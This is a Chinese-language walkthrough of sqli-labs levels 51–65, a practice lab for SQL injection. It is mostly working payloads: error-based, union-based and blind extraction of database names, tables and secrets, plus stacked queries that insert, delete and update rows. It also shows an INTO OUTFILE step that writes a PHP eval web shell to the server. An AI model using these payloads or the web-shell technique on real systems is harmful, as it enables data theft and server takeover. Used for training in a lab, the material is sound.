第五十一关
?sort=1'
判断为单引号闭合且存在报错信息
使用报错注入(也可以用堆叠注入)
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
爆库
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆表
?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31),0x7e),1)--+
爆列
?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)--+
爆字段
过关
第五十二关
没有闭合,且不存在报错信息,可以使用盲注,也可以使用堆叠注入
也可以注入后门
?sort=1 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-52\\1.php" lines terminated by '<?php @eval($_POST[admin]);?>'--+
启动蚁剑,登录成功
过关
第五十三关
与五十二关一样,但是单引号闭合
可以使用堆叠注入,盲注,后门
这里演示以下堆叠注入,演示增删改操作
?sort=1';insert into users(id,username,password) values ('111','111','111')--+
?sort=1';delete from users where id='111'--+
?sort=1';update users set username='admin5' where username='admin4'--+
第五十四关
这关是随机挑战,需要获取密钥,但是需要在10步内
?id=1'
确定闭合
?id=-1' union select 1,2,3--+
判断显位
?id=-1' union select 1,2,database()--+
爆库challenges
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+
爆表名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='mvv1nn64zf')--+
爆列名
?id=-1' union select 1,2,(select group_concat(id,'/',sessid,'/',secret_5FHO,'/',tryy) from mvv1nn64zf)--+
爆出字段
选择secret_5FHO中的内容,输入输入框
轻轻松松,10次太简单了
过关
第 五十五关
这次有14次的机会
?id=1
?id=1’ ?id=1” ?id=1’) ?id=1”)
然后机会快用完了才发现是括号闭合T-T
只能开第二把了
?id=-1) union select 1,2,3--+
?id=-1) union select 1,2,database()--+
?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+
?id=-1) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='manofsa2g0')--+
?id=-1) union select 1,2,(select group_concat(secret_9XH6) from manofsa2g0)--+
虽然从开了一把,但也是简简单单
第五十六关
先测闭合点
?id=1’
?id=1” ?id=1’)
?id=-1')union select 1,2,3--+
?id=-1')union select 1,2,database()--+
?id=-1')union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+
?id=-1')union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='vlkpiyycoq')--+
打错字了一回合,我测
?id=-1')union select 1,2,(select group_concat(secret_1STI) from vlkpiyycoq)--+
EZ
第五十七关
?id=1’
?id=1”
?id=-1" union select 1,2,3--+
?id=-1" union select 1,2,database()--+
?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')--+
?id=-1" union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='qkcor9i3g2')--+
经典手滑一轮
?id=-1" union select 1,2,(select group_concat(secret_EO47) from qkcor9i3g2)--+
Ez,轻松通过
第五十八关
WTF 五轮内解决战斗吗,我承认说大话了
?id=1” 不报错
?id=1’ 报错
这就过去两轮了,联合查询应该是不够了,没办法了,
对他使用报错注入吧(好像需要的访问次数是一样的)
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cq8hx5v69s'),0x7e),1)--+
还是……不够吗,看来闭合点只能用一回合蒙中
于是,我重生了,重生到了刚做第五十八关的那一分钟
带着前世的记忆,我很快就知道了闭合点是单引号闭合
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='o9xk176ndu'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_CVDY) from o9xk176ndu),0x7e),1)--+
Ok这一次还留了一个容错过关
第五十九关
这一次也是只有5次访问机会
也是重生了无数把,发现没有闭合..
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='vja9wi493z'),0x7e),1)--+
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_DW74) from vja9wi493z),0x7e),1)--+
第六十关
?id=1"
?id=1")
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
突然发现数据库名好像题目里有,可以省一回合
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='0hv26p3u0f'),0x7e),1)--+
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_MB6W) from 0hv26p3u0f),0x7e),1)--+
第六十一关
?id=1'
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='0zukq3u44c'),0x7e),1)--+
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_F5K0) from 0zukq3u44c),0x7e),1)--+
第六十二关
这里看到限制130次,应该是要盲注了
?id=1' and length(database())>1--+
?id=1" and length(database())>1--+
?id=1") and length(database())>1--+
?id=1') and length(database())>1--+
还是先确定闭合点,确定为单引号括号闭合
?id=1') and length(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1))=10--+
确定表名有10位
?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='8'--+
确定表第一位是8(通过burp爆破,用burp就可以绕过次数限制了嘻嘻)
?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,10)='8q4r8rhld3'--+
依次推出8q4r8rhld3
?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 0,1),1))=2--+
确定第一列有2位
?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 1,1),1))=6--+
第二列6位
?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1))=11--+
第三列11位
?id=1') and length(substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 3,1),1))=4--+
第四列4位
?id=1') and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,1)='§a§'--+
依次爆破第三列名的全部字符
?id=1') and substr((select column_name from information_schema.columns where table_name='8q4r8rhld3'limit 2,1),1,11)='secret_1jo0'--+
第三列名是secret_1jo0
?id=1') and length(substr((select secret_1jo0 from 8q4r8rhld3 limit 0,1),1))=24--+
得到这列下面的第一个字符有24位,晕
?id=1') and substr((select secret_1jo0 from 8q4r8rhld3 limit 0,1),1,1)='§a§'--+
依次爆破最终的密钥
s7ijxbhoqw28vzfut7lz5wwm
第六十三关
(手工注入要晕掉了,实战还是得使用sqlmap)
?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+
#确定表名有10位
?id=1' and substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,10)='9zuk28x2yo'--+
#推出表名为9zuk28x2yo
?id=1' and length(substr((select column_name from information_schema.columns where table_name='9zuk28x2yo'limit 2,1),1))=11--+
#确定第三列列名有11位
?id=1' and substr((select column_name from information_schema.columns where table_name='9zuk28x2yo'limit 2,1),1,11)='secret_BP5W'--+
#推出列名为secret_BP5W
?id=1' and length(substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1))='24'--+
#字段有24位
?id=1' and substr((select secret_BP5W from 9zuk28x2yo limit 0,1),1,1)='§a§'--+
#依次推出全部的字段
第六十四关
这关为两个括号闭合,与前几关思路相同
?id=1))--+
?id=1)) and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+
#确定表名有10位
?id=1)) and substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,10)='o09av5mj2y'--+
#确定表名为o09av5mj2y
?id=1)) and length(substr((select column_name from information_schema.columns where table_name='o09av5mj2y'limit 2,1),1))=11--+
#第三列列名有11位
?id=1)) and substr((select column_name from information_schema.columns where table_name='o09av5mj2y'limit 2,1),1,11)='secret_M6Q9'--+
#列名为secret_M6Q9
?id=1)) and length(substr((select secret_M6Q9 from o09av5mj2y limit 0,1),1))=24--+
#字段长度为24
?id=1)) and substr((select secret_M6Q9 from o09av5mj2y limit 0,1),1,1)='§a§'--+
#依次推出全部的字段
第六十五关
与前几关一致,但是双引号括号闭合
?id=1")and length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=10--+
推出表格名有10位
后面不再赘述
终于结束了,感觉还是偏基础的,巩固以下sql注入蛮好的